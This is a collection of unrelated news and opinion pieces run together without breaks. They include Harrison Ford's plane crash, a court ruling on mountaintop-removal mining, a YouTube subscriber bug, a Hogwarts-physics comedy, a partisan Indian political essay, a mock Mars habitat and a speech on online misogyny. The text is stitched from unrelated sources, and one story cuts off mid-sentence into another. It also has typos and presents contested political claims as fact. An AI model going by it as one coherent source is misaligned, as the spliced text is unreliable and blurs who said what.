Harrison Ford was injured after his small crashed during an emergency landing at Penmar Golf Course in Venice on Thursday afternoon, ABC News in Los Angeles reported. The single-engine plane reportedly crashed shortly before 2:30 p.m. onto the golf course, just west of the Santa Monica Municipal Airport, according to Federal Aviation Administration officials.Los Angeles police said the plane made an emergency landing near Rose and Glenavon avenues.Ford was taken to a hospital in critical condition. No other injuries were reported.The actor, known for "Blade Runner" and the "Indiana Jones" franchise, was casted to reprise his role as Han Solo in the new "Star Wars" trilogy, slated for release in December.The National Transportation Safety Board was leading the investigation.
Harrison Ford was injured after his small crashed during an emergency landing at Penmar Golf Course in Venice on Thursday afternoon, ABC News in Los Angeles reported.
The single-engine plane reportedly crashed shortly before 2:30 p.m. onto the golf course, just west of the Santa Monica Municipal Airport, according to Federal Aviation Administration officials.
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Los Angeles police said the plane made an emergency landing near Rose and Glenavon avenues.
Ford was taken to a hospital in critical condition. No other injuries were reported.
The actor, known for "Blade Runner" and the "Indiana Jones" franchise, was casted to reprise his role as Han Solo in the new "Star Wars" trilogy, slated for release in December.
The National Transportation Safety Board was leading the investigation.
AlertMeWashington, D.C. —
Today a federal court struck down a controversial George W. Bush administration rule that opened up Appalachia’s streams and waterways to toxic dumping from destructive mountaintop removal mining operations.
Numerous national and Appalachian environmental and community groups challenged the midnight rule from 2008, which repealed a longstanding stream protection—a “buffer zone” of protection from mining activities and dumping around waterways.
The U.S. District Court for the District of Columbia struck down the Bush rule because it violated the Endangered Species Act. Southern Environmental Law Center attorneys Deborah Murray and Cathy Malina successfully argued that case on behalf of National Parks Conservation Association.
The court determined it was unnecessary to consider the many other claims against the rule, including the flaws alleged in Earthjustice’s case. Earthjustice, on behalf of Coal River Mountain Watch, Kentuckians for the Commonwealth, Kentucky Waterways Alliance, Ohio Valley Environmental Coalition, Statewide Organizing For Community Empowerment, Sierra Club, Southern Appalachian Mountain Stewards, Waterkeeper Alliance, and West Virginia Highlands Conservancy, and together with co-counsel at Appalachian Mountain Advocates, the Appalachian Citizens Law Center, and Sierra Club, brought one of the legal challenges to the 2008 Bush rule, arguing that the rule unlawfully weakened protection for vital water resources.
Before the Bush rule eliminated the “stream buffer zone,” this safeguard stood for decades in order to protect American waterways from the type of extreme destruction and obliteration that is now being caused by mountaintop removal mining. Mountaintop removal mining has buried an estimated 2,400 miles of Appalachian streams and polluted many more miles of waterways.
The following statement is from Earthjustice attorney Neil Gormley:
“This decision restores longstanding stream protections and finally puts an end to the Bush administration’s attempt to let mining companies dump toxic waste into our waterways. We’re glad to see it struck from the books and gone as the law of the land. Good riddance to a harmful midnight rule that hurts communities and waterways.
“As the ongoing water crisis in West Virginia unfortunately shows, these communities need stronger water protections.
“Right now, there’s an effort in the U.S. House of Representatives to force states to adopt this same flawed rule. The House will soon vote on H.R. 2824, a cynical attempt by friends of coal and polluter allies in Congress to take this weak, confusing, and contradictory rule and make it a centerpiece of the surface mining law. We hope this clear court decision puts that idea to rest. ”
The following is a statement from Vernon Haltom, executive director of Coal River Mountain Watch:
"Coal River Mountain Watch is pleased that the court struck down the Bush rule intended to make mountaintop removal more expedient. Unfortunately, we are still stuck with regulators who refuse to enforce the previous rule, who refuse to take citizens' complaints seriously, and who refuse to acknowledge the growing scientific evidence that mountaintop removal harms human health. We need federal takeover of the West Virginia Dept. of Environmental Protection's failed mining division, and we need to pass the Appalachian Community Health Emergency (ACHE) Act, H.R. 526."
The following is a statement from Sierra Club's Mary Anne Hitt:
"Since 2008, when a departing President Bush repealed these long-standing coal mining pollution protections for streams, grassroots groups have been working to restore these essential safeguards. We're pleased that the court has found Appalachian rivers and streams need to be better protected from coal pollution. Recent spills in West Virginia and North Carolina have made it abundantly clear that this nation is not doing enough to safeguard our waterways from coal pollution. This decision to strike down the Bush-era repeal of the buffer zone rule is a step in the right direction."
Read the court decisions:Update 04:03 ET: It appears YouTube has finally fixed the bug. The subscriber counters seem to be back to normal and functioning properly. Some users have also confirmed their subscribers have been restored.
@Techistry We're (right now!) working on fixing this across all impacted channels, so others should start seeing correct numbers as well. — Team YouTube (@TeamYouTube) February 9, 2017
YouTube has been affected by a massive glitch which is causing channels to lose huge chunks of subscribers in a matter of minutes.
Anytime someone unsubscribes from a channel, YouTube falsely detracts two subscribers from the account. This essentially allows trolls to repeatedly subscribe and unsubscribe from channels, causing massive drops in the total subscription count.
The bug was first spotted by YouTuber BlackScreenTV who is currently livestreaming the diminishing counters of a number of popular channels, including star YouTuber PewDiePie.
Watch the livestream in the video section below. Be warned the video contains offensive language at the bottom.
BlackScreenTV has called the glitch the biggest in the website’s history. In fact, trolls are abusing the bug to the extent where some channels’ subscription counters have gone in the negatives.
The Alphabet subsidiary has confirmed the malfunction on its official Twitter account.
Yikes! Starting Monday, in some cases, we accidentally started counting two unsubs for the price of one. We’re working on a fix! — Team YouTube (@TeamYouTube) February 8, 2017
The glitch first started attracting attention when PewDiePie, who is the most subscribed user on the website, broadcast a livestream of the bug. He also tweeted that every “unsub counts as -100.”
https://www.youtube.com/watch?v=K2vIEcEPyv0
Since the news about the malfunction blew up, YouTube has assured concerned users the glitch only affects the number displayed on the subscription counter, which means no subscribers will be actually lost. The company is currently working towards a solution.
@akidearest Yes, it's only a bug w/ how sub count is displaying. No data is lost, and we're working to fix the numbers on impacted channels. — Team YouTube (@TeamYouTube) February 9, 2017
@TTrillTThrill Hello. We’re aware of this and working on a solution. We’ll update everyone as soon as it’s fixed! — Team YouTube (@TeamYouTube) February 9, 2017
Update 19:42 ET: As of now the bug still hasn’t been removed.
You can follow the subscription counters of channels in realtime on this website.
Update 20:22 ET: YouTube is yet to fix the error, but its tech support team assures the correct subscription counts will be restored.
@Seanisdabom It’s only an error w/ how the subscriber count is displaying. No data is lost, and the correct # will be restored. — Team YouTube (@TeamYouTube) February 9, 2017
Read next: Wikipedia just banned contributors from citing the Daily Mail as a sourceHogwarts is the opposite of everything which ever advanced humanity: science, technology, and NOT sending your children somewhere full of monsters. Hogwarts leaves more hazardous materials lying around than the Cold War. New student induction is a millinerial phrenologist permanently labelling three-quarters of other students their enemy.
But reality really is divided and defined by four different forces. What if we put the Sorting Hat on the Standard Model?
Weak Nuclear Force: Hufflepuff
The strong and weak nuclear forces don’t affect much outside their own small range, sticking mainly to themselves by holding atomic nuclei together. So they’re Ravenclaw and Hufflepuff: only there to make up the mass while Gryffindor and Slytherin enjoy spectacular special effects. And be honest: as soon as soon as you saw “weak” you knew it was Hufflepuff. Even if you are one. The weak force is one million times weaker than the strong, because in nuclear physics adjectives are no longer messing around. It’s a thousand times shorter in range as well, affecting an area only one quintillionth of a meter. That’s a thousandth of a proton.
Tiny, weak, keeping almost utterly to itself except when forced to interact at point blank range. Which is exactly what happens when you tear a small child from their family, send them to boarding school, subject them to a humiliating parade of being judged in front of the entire school on their first day, and the nicest thing said by even a magical nice-thing-saying hat is “Uh, I’m sure you’re pretty friendly.”
So what’s the point in being friendly? All life on Earth. And not just in the Sesame Street sense of “making it worthwhile” but the thermonuclear energy supply sense of “actually existing”. It turns out being friendly is pretty important! For example: two protons getting friendly to fuse in the Sun’s core, unleashing energy, warmth, light, and making little things like “everything in the universe which isn’t a cold cloud of hydrogen.”
The weak force is also the only one to appreciably affect neutrinos*. Possibly because electrically neutral and almost massless neutrinos are the only things to sleet through the world with less effect than Hufflepuffs.
*Gravity technically applies but the effect is appallingly small even compared to the weak force.
Strong Nuclear Force: Ravenclaw
Ravenclaw is the strong nuclear force. Which is the strongest anything force. It’s a hundred, a million, duodecillions of times stronger than the other three, and those aren’t hyperbole: those are the actual orders of magnitude between the strong force and electromagnetism, weak force, and gravity. The strong force is also the most complicated by an absolutely staggering degree. Which is exactly what Ravenclaws should earn while everyone else gets a basic diploma. They’re acknowledged as the smartest students in the school as soon as they arrive! You’d think an educational establishment would do more with that. Why aren’t they in advanced classes? Why are they losing valuable time while Gryffindors and Slytherins are bickering instead of learning? An easy magical cure for all disease is delayed because the brilliant are being held back by bickering idiots.
The strong nuclear force holds the nucleus together. Every single atom of every single thing? The strong nuclear force says you’re welcome. Gravity and electromagnetism put on the big show and the lightning bolts, but the world they’re struggling over is at the core (of every atom) shaped by strong nuclear. The strong nuclear force works with its own system of quantum chromodynamic color charges which the other forces can’t even perceive, never mind affect. They’re the standard model equivalent of sophisticated in-jokes. Because even among the laws of physics the Strong Ravenclaws are the nerds.
The strong force would utterly stomp all the others out of existence if it wasn’t focused entirely on its own extremely short range. Super-smart, all-dominating, and keeps to itself instead of getting involved in all the weak nonsense of everyone else? Sounds pretty Ravenclaw to me. You can’t tell me they don’t really run magical society. You divide a bunch of kids into “brave, evil, friendly, and smart”? The smart ones are going to prove it by backing off and quietly getting on with everything while the first two slug it out and the third wrings their hands about why we can’t all get along.
Electromagnetism: Slytherin
Glowing lights! Lighting bolts! Glowing while electrocuted by lighting bolts! Pretty much everything we associate with evil wizards from Harry Potter to Star Wars is electromagnetism. (And if you think “from Harry Potter to Star Wars” is a false range I can offer a thousand pages of fan-fiction to prove otherwise). Electromagnetism is 137 times weaker than the strong nuclear force. Which is why Hogwarts is the only school in the entire world where the jerks don’t bully the smart kids. Instead Slytherin target the “brave” Gryffindor, because their “brave” is the perfectly idiotic blend of “stupid enough not to avoid fights” and “obedient enough not to use their actual magic wands against bullies.”
Electromagnetism is why atoms don’t just fly through each other. Every atom is mostly empty space, it’s only the repulsion between negative electrons which stops you when you hit an obstacle. Which is what antagonists are for: to get between people and where they want to be.
Electromagnetism has infinite range. No wonder people were scared to say Voltemort’s name. It can’t overpower the strong nuclear force in the atomic nucleus but it does build everything else around it. Little things every element in existence. And all of chemistry. So also biology. As with all evil groups in power they’ve simply gotten on with rearranging reality to their designs instead of waiting to talk about it.
In true evil fashion electromagnetism is strong enough to dominate everything but instead wastes most of its potential struggling against itself. The magnitude of charge in existence would be enough to explode everything, ever, always. Except half of it is always opposed to the other half. Just like any story with multiple villains – they get in each other’s way to give everyone else a chance.
Gravity: Gryffindor
Gravity: by far the weakest, it’s almost impossible to even see how it ever achieves anything (if you ever find a graviton please report for your Nobel Prize), but it reshapes the big picture of the entire universe around itself anyway. Of course it’s Gryffindor.
Like electromagnetism gravity has infinite range. Unlike electromagnetism gravity always attracts and never repels, because Rowling-forbid that any Gryffindor should experience or display any kind of negative characteristic. Ron Weasley attracts Hermione despite being the world’s most useless whiner. Hermione attracts Harry and Ron despite correctly informing them that everything they ever do or did was wrong. And Harry attracts everyone despite being functionally useless at magic while also attracting constant lethal attack by magic.
Gravindor is about ten to the power of minus thirty-eight times weaker than the strong nuclear force. That’s a hundredth of a thousandth of a millionth of a trillionth of a quadrillionth. (And that’s still less laborious reading for such a small effect than Order of the Phoenix). It should disappear as a rounding error in every calculation. Gravity does disappear as a rounding error in every calculation, except the ones involving such immense masses they override all other terms. You need to rearrange the entire universe with ludicrous amounts of extra material just to make it possible for gravity to win. Which is exactly what happens in Hogwarts.
Harry Potter is the black hole at the heart of the Hogwarts’ galaxy. Only consuming, drawing a swirling vortex of every other force in existence into its inescapable singularity. All the spectacular Slytherin effects are only reactions to his all-dominating narrative attraction. Hufflepuff and Ravenclaw are crude matter to bulk up his all-consuming story, providing a little warmth while he crushes their existence around him. All their possibly interesting interactions overridden and removed from reality as they pass the Harry’s narrative event horizon.
This pieces is updated from the original for promotion on Medium, if you want to share and spread the word of ZERO POINT COMEDY!Indian National Congress, the grand old party of India, suffered its worst ever electoral defeat in May 2014. Reduced to 44 seats, it was staring at a risk of being pushed to the margins if immediate corrective steps were not taken.
The reasons for its defeat were pretty obvious – corruption charges, anti-incumbency, lackadaisical leadership of Rahul Gandhi, and ‘Modi Wave’.
However, if you think like a pragmatic and seasoned politician, especially one belonging to the Congress party, these reasons don’t warrant any “corrective” steps. They are transient in nature.
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For example, Congress could simply shrug them off with the following responses, and the party won’t really be wrong:
Corruption charges: Those are over. We’ve lost the elections. Now let’s forget about it. Indian electorate too has a short memory and they will also forget about those soon.
Anti-incumbency: That’s also over. And it won’t be there in 2019. BJP will be facing it.
Rahul Gandhi: Really? If not a Gandhi, who? A Tharoor? LOL! Rahul Baba will improve. Let’s not lose hope.
Modi Wave: It will subside; just a matter of time. Nothing lasts forever.
So does that mean that Congress needed to do nothing after the 2014 loss?
No! Because we are missing one thing that the party concluded as the reason for their defeat. And it was pointed out by AK Antony, who chaired a panel to analyse the reasons for the massive drubbing in the polls.
In June 2014, barely three weeks after the loss, Antony had said that Congress was seen as “pro-minority” by an average Hindu, which could be one of the reasons party suffered electoral reverses. The party’s secularism was seen as “anti-Hindu” by many.
The statement by Antony made news back then, and many Congress leaders were reported to have said that the party will evaluate it as a senior personal like Antony won’t speak anything without proper analysis.
Soon after that, in August there were reports that Congress had decided to go for an “image makeover”. The party decided to celebrate all religious festivals in their offices. Up to that time, the only religious festival they were celebrating was Iftaar during the Muslim holy month of Ramzan.
It was clear that the statement by Antony was not one-off. The party was serious about what he had pointed out and if any “corrective step” was to be taken, it was on this front.
In December same year, it was reported that party had decided to seek feedback from its cadre if it was perceived as “anti-Hindu”. A Times of India report claimed that “in around 20 meetings with Rahul Gandhi, almost every group of leaders underlined the backlash due to Congress’s pro-minority stance”.
All this while, from June to December 2014, BJP kept winning assembly elections and Congress and its allies kept losing. Among the elections the party lost to BJP was in Maharashtra, where the incumbent Congress-NCP government had declared reservations for Muslims in government jobs and education (something BJP scrapped later after). Party must have wondered if the “pro-minority” image hurt them again.
Basically in 2014, Congress knew that it had a “pro-minority” problem and it needed to find a solution.
The solution couldn’t have been stepping away from minorities. That would be suicidal. In India, “minorities” form a big chunk of voters, and one can say it without a sense of irony. Not only that, the “intellectual” support system would have also deserted the Congress.
So becoming a little less pro-minority was not at all the solution.
In essence, the problem was – an average Hindu thinking that Congress preferred minorities, especially Muslims, at the cost of welfare of Hindus. That the party was unfairly and unreasonably obsessed with minority issues.
Keywords being “unfairly” and “unreasonably”.
Bingo! That’s where the solution lied!
The party didn’t need to shed its pro-minority stand, but all it needed to do was to convince the average Hindu that its obsession with minority issues was not “unfair” and “unreasonable”.
And there you know what to do – convince the average Hindu that the minorities in India were being unfairly and unreasonably targeted. From attacks on Churches to Muslims lynched by Hindu mobs – such narrative help the Congress find the solution.
This narrative started towards end of 2014, when we started hearing about gharwapsi and later about attacks on Churches in Delhi – events that suggested that the minorities in India were being unfairly and unreasonably targeted.
Remember, gharwapsi was not any new event, as I had pointed out last year here and here; and even the attacks on Churches were all found to be either hyped or fabricated. But they helped create a narrative.
Every stray incident needed to be magnified, every loose comment needed to be mainstreamed, and every misrepresentation needed to be reinforced.
The end message – minorities were not safe, and the majority had to do something.
Essentially, the average Hindu was sent on a guilt trip.
This works almost every time and everywhere. Two years ago, we had seen how an average European, who was not too sure about taking immigrants and refugees, was convinced that every European country should take them in after the shocking picture of the dead Syrian kid sent them on a guilt trip. They, as individuals, started believing that the poor kid died as they didn’t do enough.
An average Hindu had to similarly feel personally guilty for the man who was killed in Dadri, and recently a young man who was stabbed to death near Delhi.
The narrative pushers were not even keeping it subtle; perhaps they believe that Hindus are not “sophisticated” enough like the Europeans. They openly asked Hindus to feel guilty:
A sense of guilt is very strong emotion and it can overpower other senses, especially the logical or rational ones.
Congress may nor may not be directly involved with shaping and pushing this narrative, but those who are doing so are known to be anti-Hindutva at best and Hinduphobic at worst. Their acts are aimed at political endgame, nothing else. Back in 2015, it appears to have worked as BJP was defeated in Delhi and later in Bihar that year. Church attacks and growing intolerance were the flavour of the year.
However, the narrative slipped thanks to some stupid students at JNU, who in early 2016 ended up making “nationalism” the dominant narrative by toeing the Kashmiri separatist line. It is not that the narrative pushers did not try the “guilt trip” strategy even though the narrative had unwittingly shifted. They tried to highlight incidents like pellet gun injuries and an “innocent” Kashmiri tied to an Army Jeep, but thanks to Islamist elements in Kashmir, who are more honest about their intentions than these narrative pushers, this guilt tripping did not really work, for the average Hindu knew that the Islamist stone pelters were anything but “innocent”.
However, when you push a narrative that a 16 years old young Muslim man was killed over beef rumours, that indeed is death of an innocent person. There are reports that the fight was never about beef, but over seat sharing in a train that later involved throwing religious slurs at the victim, but these details become secondary, and you are branded “demented” when you try to get into these details. (update: even the court observed that the young man was not killed for communal reasons).
Scientist and columnist Anand Ranganathan has been facing a deluge of abuse of late just because he cited some data that doesn’t support this narrative that ‘lynch mobs targeting Muslims have suddenly grown up alarmingly‘’. His twitter thread can be read here.
But this was expected. When data did not back the claim of “Church attacks”, a senior journalist had famously claimed that mahaul (mood, or narrative) was more important than data.
There is also attempt to back this narrative with data after people like Anand showed them the mirror. An article by an organisation called IndiaSpend does a “content analysis” in “English language media” to conclude that beef related violence increased alarmingly after Narendra Modi came to power.
Can’t you see the dishonesty here? The English language media controls the content and they decide what narrative to push. They happily ignored such incidents before Modi came to power (you can find plenty of them in regional language media), but started hyping and even manufacturing such incidents recently. What else are you supposed to get after analysing a content that is influenced by an agenda?
This is so awesome. First you build a fake narrative, and then you use that fake narrative as “raw data” to prove “scientifically” that your narrative is backed by data! The thievery is marvellous!
All these just indicate, quite loudly, that the attempt to send Hindus on a guilt trip has started again. Various “citizen protests” have been called to protest against lynch mobs today. The same people, who gave “political context” when lynch mobs were butchering RSS workers in Kerala and elsewhere, have now got their conscience back. They are sure that no one will call them out. After all, who can afford to not protest against lynch mobs? This is the power you enjoy when you control the narrative.
But one can not remain silent for the fear of being branded bigots and violent. This narrative has to be countered, else a partisan political propaganda will achieve its end objective. This article is one small counter.
And obviously, the Congress is happy. The party is telling the narrative pushers – keep up the good work, but not in my name, dress it up under the garb of activism and neutrality.
(the article was originally published on my blog in December 2015; this is a slightly modified copy)
A well known expert on nothing. Opinions totally personal. RTs, sometimes even my own tweets, not endorsement. #Sarcasm. As unbiased as any popular journalist.
Share This Post and Support:The difference wouldn't matter if it weren't for the Martian colony that's been growing like an odd assortment of mushrooms on a neighboring stretch of grass. The little village of five modules, each a white cylinder about 20 feet long and enclosed in a soft, inflatable casing, make up a newly expanded UND space studies test site created with NASA funding to conduct research that could one day guide astronauts settling on far-away worlds.
The project just added a series of four new pods to bulk up its research capabilities and has developed under the leadership of Pablo de León, a University of North Dakota researcher and associate professor known for his work in designing the next generation of space suits. When speaking about the habitat over the phone from NASA's John F. Kennedy Space Center at Cape Canaveral, Fla., de León joked that, at least in winter, the North Dakota fields are a suitable comparison to those on Mars. But there's no question that the edge of campus is more hospitable than that planet's dusty plains. For starters, the atmosphere of the red planet isn't much for breathing and, unless you've packed some snacks, your Martian excursion is going to be a hungry one. That's not even including the potential ground cover of toxic grit due to the presence of perchlorates, a chemical found in the soil of certain parts of the planet by exploratory robots.
All of these are challenges that must be met by any future colonists, and so they are the big questions that de León and teams of UND graduate students are attempting to answer.
"We're trying to make it safe for human crew to go to Mars and, in some cases, there is no solution yet," de León said. "But one of the things we're trying to do is find those solutions or to better understand the problems."
The colony's main pod, a central living space, was awarded about $750,000 in grant funding from NASA in 2009 and was completed in 2011. UND graduate students teamed with the space agency have been using it since then to complete research missions and produce data to help the agency's scientists better answer major questions about life in an unearthly habitat. A team of three students lived aboard the unit for 10 days in 2013. A year after that, a crew spent 30 days living in the pod.
The latest activity at the site came just weeks ago when crews delivered the four new pods to expand the research capacity of the mock base. The latest units were funded in 2015 by another NASA grant of $750,000. They're not yet finished, but the mock base is now centered by its main pod, which is lined with bunks for sleeping and features a tiny bathroom and kitchenette, and is flanked by the newcomers, each of which is designated for a specific purpose.
The new amenities in the village will eventually include an extravehicular bay, which will contain the base's rover and maintenance functions. The would-be colonists will also soon have the benefit of a plant production, or gardening, unit with self-contained lighting and irrigation arrays to grow some of the colony's food. Finally, the colonists will get a pod for exercise - zero-gravity will do a number on your muscles - and a pod set aside for geological experiments. Mars, as a planet, is big on geology.
Millions of miles from a dentist
The most recent round of grant money has covered the fabrication of the pods, much of which was done locally with the help of contractors like Grand Forks Welding and Machine Co.
It's also been used to pay for other areas of the base, including teams of graduate students. There are 11 students currently working on the habitat, though de León said there probably have been about 50 total who have participated in the initiative and conducted research over its life.
"We not only look at the scientific aspects or experiments per se, but also the daily life, the challenges that astronauts will look at and have on the surface," de León said.
Though the UND crew can't replicate weaker gravity, stronger radiation or any of the other more challenging elements of life on Mars, they can simulate to a large degree the need for self-reliance.
"An expedition to another planet is such a wide thing that you need to include almost every single aspect of human knowledge," de León said. "You need to think about everything, every little thing that sustains human life. What kind of equipment do you need? If some little piece breaks, can you replicate it with a 3-D printer? Then you go to nutrition, all sorts of health issues. How do you handle a tooth extraction when you're millions of miles from the earth?"
To answer some of those questions, de León said the local researchers have been working with a team of scientists at different NASA centers across the country. The results from the UND team have already taken a step into the void when researchers aboard the International Space Station replicated an experiment first done in the local habitat by students observing microbes.
Moving forward, de León said, two of the latest UND modules - the extravehicular pod and the plant production unit - should be operational by September, with the first expanded mission likely to happen sometime in late summer or early fall. The final two pods should be done sometime next year.
De León said he was proud of the base's accomplishments so far and said its continued development "took trust from both sides" by NASA and the university, which he believes is the only school in the U.S. doing this kind of work. "The fact that we were selected twice - that we first got the grant to create the first module, and then we were selected again to expand it - speaks to the fact that we deliver projects that we say we'll deliver," he said.DULUTH, MN—Noting her methodic applications of various chemical agents in carefully controlled combinations, sources confirmed Wednesday that local woman Sara Holloway has been carrying out an open-ended scientific experiment on her own skin. “I just got this new moisturizer I’m going to try out,” Holloway, 32, said of the latest phase in the study she has been running for the past 17 years, testing a wide range of hypotheses regarding which synthetic compounds and colloidal solutions might best be employed to attain optimal elasticity, hydration, and smoothness in dermal tissues. “The other stuff was kind of leaving my skin feeling dry. This one looks like it should be good, though.” At press time, reports indicated Holloway was nearing the final stages of an elimination test to determine which depilatory was causing a painful rash.
AdvertisementA Ukip county councillor is refusing to back his party’s local general election candidate because of her notorious “ting tong” remark.
Cllr David Baker is also shunning Janice Atkinson because of her obscene hand gesture against protesters this year.
He said: “I do not want to be tarred with the same brush as Ms Atkinson.
“I have decided to make it absolutely |
the horror that it conjures up? We’re meant to internalise it until it consumes us? Well I’m sorry, but I’m not having that.
Victims have to be allowed to stand up and shout back – they need to be allowed to ask for support, without being accused of attention-seeking. They need to be allowed to draw the attention of the world to what so many women go through on a daily basis, and make it front page news. Because, make no mistake. Not talking about this is not going to make abuse and misogyny go away. On the contrary, it will help it to thrive.
So many women got in touch with me when the story broke to thank me for speaking out about it, for making it front page news for so long. They had been through the same, they said. And the police had not helped them. The police had told them to lock their accounts, to stop tweeting controversial things – in one case, the controversial thing being tweeted about was racism. A black woman was being told she could not tweet about racism, because there was nothing the police could do about the ensuing rape threats.
Well, I’m not having that either.
There is something the police can do. They can do what they finally, after a lot of media coverage and behind the scenes pushing, did for me, which is to investigate what are, after all, crimes. Hate speech is a crime. Harassment is a crime. And if the police don’t have the resources to deal with these crimes, they need to be given them – and they need to use them to properly train their forces about how to handle these cases. Because I don’t want to live in a society that just throws up its hands when women are being routinely abused and says “it’s too hard. Just live with it.”
There is also something social media companies can do. They can make it clear that abuse is not acceptable, in order to help shape a context where abuse doesn’t thrive. They can make reporting easier – and invest in well-trained staff to deal with these reports. They can listen to their users when they tell them that certain features aren’t working – like the current blocking system on twitter that still enables harassers to stalk the timelines of their victims, and incite others to harass them too.
But ultimately, all these actions would be treating the symptoms and not the cause. Social media doesn’t cause misogyny; the police can’t cure it. What we really need to do is sit down as a society and take a long hard look at ourselves, in order to answer the question: “why are we producing so many people who just seem to hate women?” And the answer is going to be from within an education system that barely features women at all, and that doesn’t include statutory lessons on sex and relationships. It’s going to be from within a media where only one in four experts is a woman – and which deems the two women who die every week from domestic violence as too commonplace to be newsworthy. And so it remains hidden. And so it goes on.
As women, we need to stand up and say no to this defeatism. To this status quo that views us and our needs as expendable, the first thing to go when we need to save money. We need to start getting together, determining what the parts of our society are that foster a climate where women are seen, but not heard, abused, but not given redress, and fighting back. The internet is without doubt an enabler of misogyny – but it’s also an enabler of other voices. Women’s voices. Women are using the internet in ways that give them a platform like nothing has before. We start and we win more campaigns than men do. We support other people’s campaigns more than men do (these are actual stats, not my feminist propaganda). We need to start understanding how formidable we can be, when we stand up together, start fighting back, start making demands of our politicians, and not backing down.
One of the things that gets repeatedly thrown in my face, is the issue of free speech. I’ve been compared to China, to the Nazis, to the NSA, for fighting for the right for women to appear in public armed with opinions, and not face threats of sexual violence as a result. But the reality is, I love free speech. I am grateful for it every day. I love how the internet and feminism have given me the permission to use my voice, in a way I didn’t dare to in the past. But this free speech I’ve discovered, the free speech of women, is under attack. And it’s under attack as much from people who tell us not to feed the trolls, to stop attention-seeking, to keep quiet and not be controversial, as it is from men who send us rape threats every time we open our mouths, or those who call us Nazis for objecting to this.
Freedom of speech is a beautiful thing. But in its current incarnation it serves the interests of the powerful, rather than the powerless. Like so many other liberal concepts, when it exists in a society where substantive equality, as opposed to formal or legal equality, has yet to be achieved, where we have equal pay acts, but no equal pay, it can be as oppressive as it is liberating. And if we don’t question this simplistic understanding we have of free speech as a society, we will continue to live in a society where it’s ok that women don’t have a voice – politically, publicly, and socially.
Remember that man I told you about near the beginning of this speech? The one who wrote to my mother’s house before all this started? The one the police said there was nothing they could do about? Well, he’s written again. Just last week. And there still seems to be nothing the police can do. Just like there’s nothing the police can do about the men who insist on finding new and imaginative ways to contact me – commenting on my blog, commenting about me on blogs they know I’ll read, joining in on conversations I’m having with other people on twitter, so I know they’re still there. Watching.
This is their freedom of speech. They have a right to contact me, a private person, not an MP, not a company, any time they want. They can email me, they can tweet me, they can write to me, they can be as abusive as they want, just so long as they don’t directly threaten me. And there’s nothing I can do. Well, I say no to that too.
We need our lawmakers and keepers of those laws to understand the myriad and complex ways in which women are menaced. We need them to understand that women don’t need men to come out and actually threaten to rape us for the threat of rape to be implied and understood. We need them to understand that this is a threat we live with every second of our lives, it’s a threat that we’re brought up to expect, it’s a threat that shapes how we dress, where we go – and what we say. And it’s a threat that I’m not prepared to live with anymore.
I want my freedom of speech back. And if we stand together and keep shouting back, I believe we’ll get it.
Thank you for listening.
This speech was delivered at the Women's Aid conference on 4 September 2013, and is crossposted from Caroline's blog with her permissionDennis Rodman touted his diplomatic relationship and friendship with North Korean supreme leader Kim Jong Un and said that his efforts should put him in the running for the Nobel Peace Prize, in an interview with Sports Illustrated Tuesday.
Rodman defended the man he has been criticized for befriending.
“Fact is, he hasn’t bombed anywhere he’s threatened to yet. Not South Korea, not Hawaii, not … whatever. People say he’s the worst guy in the world. All I know is Kim told me he doesn’t want to go to war with America. His whole deal is to talk basketball with Obama. Unfortunately, Obama doesn’t want to have anything to do with him. I ask, Mr. President, what’s the harm in a simple phone call? This is a new age, man. Come on, Obama, reach out to Kim and be his friend.”
But until President Obama befriends the supreme leader to “talk basketball,” Rodman said he plans on being responsible for U.S. diplomatic relations.
“My mission is to break the ice between hostile countries, Why it’s been left to me to smooth things over, I don’t know. Dennis Rodman, of all people,” he said. “Keeping us safe is really not my job; it’s the black guy’s job. But I’ll tell you this: If I don’t finish in the top three for the next Nobel Peace Prize, something’s seriously wrong.”
Obama himself won the Nobel Peace Prize in 2009.
Rodman has previously discussed his friendship with Kim on ABC’s This Week.
Follow Gabe on TwitterImage caption The ancient squid hunted using its two long tentacles
The ancestors of modern squid may have existed half a billion years ago - a lot earlier than previously thought.
In a new study, Canadian researchers identified a previously unclassifiable fossil that was long believed to belong perhaps to the shrimp family.
They called it Nectocaris pteryx - a small soft-bodied cephalopod with two tentacles rather than the eight or 10 seen in today's octopuses.
The new survey's results were presented in the journal Nature.
The findings make the ancestors of modern squid and octopuses at least 30 million years older.
Evolutionary biologist Martin Smith, the main author of the study, told PA news agency that the findings bring cephalopods much closer to the first appearance of complex animals.
"We go from very simple pre-Cambrian life-forms to something as complex as a cephalopod in the geological blink of an eye, which illustrates just how quickly evolution can produce complexity," said Mr Smith.
The authors described Nectocaris as a kite-shaped creature that was flattened from top to bottom. They say it was between two and five cm long and had large, stalked eyes.
The tiny animal is believed to have been a carnivore that hunted for prey with two long grasping tentacles. It used a nozzle-like funnel under its eyes that could "swivel like a pivoted cannon" to jet itself around the ocean - just like modern squids and octopuses.
'Unclassified' creature
Image caption Nectocaris was a small, kite-shaped creature
The fossil isn't a new find - it was discovered decades ago in the Burgess Shale deposits atop a mountain in Yoho National Park in British Columbia, Canada.
The Burgess Shale Formation is one of the world's most famous fossil fields.
Scientists tried to describe the fossil for the first time in 1976 - but back then, they just weren't sure where it belonged on the evolutionary tree.
They dubbed it "unclassified". According to Jean-Bernard Caron, Mr Smith's co-author, researchers originally thought the mystery creature could have been a relative of anything from a lobster to a fish.
But after Mr Smith, a University of Toronto PhD student, decided to re-examine the fossil together with 91 new specimens collected in recent years, scientists were finally able to give the animal its proper place in history.Buy Photo Democratic candidate for Senate Patty Judge speaks at The Des Moines Register Political Soapbox during the Iowa State Fair in Des Moines, Sunday, Aug. 14, 2016. (Photo: Rachel Mummey/The Register)Buy Photo
Al Gore is endorsing Patty Judge in her challenge to incumbent U.S. Sen. Chuck Grassley.
In a message the campaign sent to supporters on Thursday, Gore, the former Democratic vice president and 2000 presidential nominee, lauds Judge, a former lieutenant governor and state secretary of agriculture, as an “environmental champion” who is “committed to taking action on climate change.”
Since leaving politics, Gore is best known as a prominent climate change activist.
“Patty Judge firmly believes that protecting our environment and natural resources for future generations must be a priority,” Gore says in the endorsement message. “During her years of public service she has worked to secure funding for programs to protect natural resources and has played a key role in Iowa's expansion of renewable energy. I know that she will continue to support moving our country away from fossil fuels and toward 21st century renewable fuel sources in the U.S. Senate.”
Gore’s endorsement – and its strong emphasis on environmental matters – is notable because Judge’s record on agriculture and the environment is among the most controversial aspects of her political background.
She’s been criticized by some Democrats as too cozy with agricultural interests and out-of-step with the party on addressing the state’s problems with water pollution.
Read or Share this story: http://dmreg.co/2bEw62BZoe Romano —
